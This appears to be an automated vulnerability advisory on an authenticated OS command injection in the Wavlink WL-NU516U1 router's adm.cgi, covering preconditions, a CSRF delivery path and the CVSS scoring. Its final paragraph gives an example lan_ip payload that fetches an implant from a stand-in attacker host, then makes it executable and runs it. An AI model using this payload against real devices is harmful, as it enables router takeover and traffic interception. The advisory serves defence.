Wavlink WL-NU516U1 CVE-2026-15513

Exploitation requires low-privilege authenticated access to the router's web administration interface, confirmed by the CVSS 4.0 PR:L metric. The attacker must be able to submit HTTP requests to /cgi-bin/adm.cgi on the device. A secondary exploitation path via Cross-Site Request Forgery is indicated by the public PoC repository name, which could enable exploitation by tricking an authenticated administrator's browser into issuing the malicious request - this lowers the effective barrier to credential possession. Exploitation is constrained to: the WL-NU516U1 hardware model specifically, firmware versions prior to the June 22, 2026 patch, and requires either valid credentials or a social engineering vector for the CSRF path. Devices with WAN-side remote management disabled are not directly reachable by external network attackers, though LAN-side or CSRF-based attacks remain possible.

The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) with exploit maturity E:P produces a score of 5.3 Medium. However, the low impact metrics (VC:L/VI:L/VA:L) appear significantly conservative for an OS command injection vulnerability on a network appliance - in practice, such a flaw typically yields root-level arbitrary code execution, granting full device compromise including access to all traffic routed through the device. No EPSS data was provided in the input, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at time of analysis. The availability of a public PoC on GitHub (E:P confirmed) substantially lowers the barrier for opportunistic exploitation. Despite the medium CVSS score, any authenticated OS command injection on a device in the network path should be treated as a high operational priority. The PoC repository name references CSRF, suggesting an additional exploitation path that could reduce the effective authentication requirement for attackers who can lure authenticated administrators to malicious pages.

An attacker with low-privilege authenticated access to the Wavlink WL-NU516U1 admin panel sends a crafted POST request to /cgi-bin/adm.cgi with the lan_ip parameter containing shell injection characters (e.g., '192.168.1.1;wget http://attacker.com/implant -O /tmp/x;chmod +x /tmp/x;/tmp/x'). The wlink_uci_set_value function passes the unsanitized value directly into an OS command, executing the injected payload at the privilege level of the web server process. A public proof-of-concept including a CSRF delivery variant is available at https://github.com/0xcc12138/wavlink-nu516u1-csrf-command-injection-, enabling exploitation of authenticated administrators without requiring direct credential theft.